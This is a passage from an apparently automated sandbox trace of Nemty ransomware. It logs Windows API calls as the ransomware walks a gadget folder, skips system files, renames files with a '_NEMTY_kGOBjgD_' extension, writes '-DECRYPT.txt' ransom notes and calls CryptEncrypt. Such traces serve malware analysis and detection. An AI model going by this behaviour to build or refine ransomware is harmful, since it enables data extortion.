(in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.334] CloseHandle (hObject=0xffffffff) returned 0 [0130.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0130.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0130.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html._nemty_kgobjgd_")) returned 0 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0130.335] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0130.335] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0130.335] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0130.335] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0130.335] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0130.335] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0130.335] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0130.335] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0130.335] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0130.335] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0130.335] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0130.336] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0130.336] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0130.336] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0130.336] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0130.336] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0130.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0130.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0130.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0130.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0130.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0130.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0130.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0130.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.336] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0130.339] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.339] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0130.340] CloseHandle (hObject=0x1ec) returned 1 [0130.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0130.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0130.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0130.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0130.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.340] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0130.341] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.341] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0130.342] CloseHandle (hObject=0x1ec) returned 1 [0130.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0130.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0130.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0130.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x15544d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x15544d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0130.342] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0130.342] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x15544d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x15544d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.342] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0130.342] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0130.342] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0130.342] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2=".") returned 1 [0130.342] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="..") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="...") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="windows") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="$RECYCLE.BIN") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="rsa") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="NTDETECT.COM") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="ntldr") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="MSDOS.SYS") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="IO.SYS") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="boot.ini") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="boot.ini") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="AUTOEXEC.BAT") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="ntuser.dat") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="desktop.ini") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="CONFIG.SYS") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="RECYCLER") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="BOOTSECT.BAK") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="bootmgr") returned 1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="programdata") returned -1 [0130.343] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2="appdata") returned 1 [0130.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mousedown.png", lpUsedDefaultChar=0x0) returned 25 [0130.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mousedown.png", lpUsedDefaultChar=0x0) returned 25 [0130.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mousedown.png", lpUsedDefaultChar=0x0) returned 25 [0130.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0130.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_left_mousedown.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_left_mousedown.png", lpUsedDefaultChar=0x0) returned 25 [0130.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0130.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0130.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0130.344] Sleep (dwMilliseconds=0x5) [0130.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x157a630, dwHighDateTime=0x1d561e8)) [0130.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x157a630, dwHighDateTime=0x1d561e8)) [0130.351] GetLastError () returned 0xb7 [0130.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.351] GetLastError () returned 0xb7 [0130.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.352] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.352] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.352] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0130.352] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="uF8VTqBPFcQNt1dYLlNO+p+ViiPqHvdEHxD4aFXB3r8QUySk+iWssAZUWnqFyWJt\r\n+91v307DkPlnPurHN6Hhu6dvTh11NHz3zuBbcrgYol15efbpG4MVAxgdOFgOCZDo\r\nRzlgUhpxrL5JZOqE/uuXtPw3kWFSNsGelDdolb5MhISRt2BSmAoMdVF9qucrWLD9\r\neD+koGkgHZhGlufxPlbtL5/+hl/VDygb86bH6CkjWemGsWLG9REeCtS/2kr4utsp\r\ny+/Gd1hIT0j6c5w+NkB2eriHbDQxap47wORHvvjDMvPR2lVSLycayZEEGxxWbUdj\r\n1+kIvE6zmxrUujOL5oPG0g==\r\n", pcchString=0x653e91c) returned 1 [0130.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0130.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.352] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.353] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 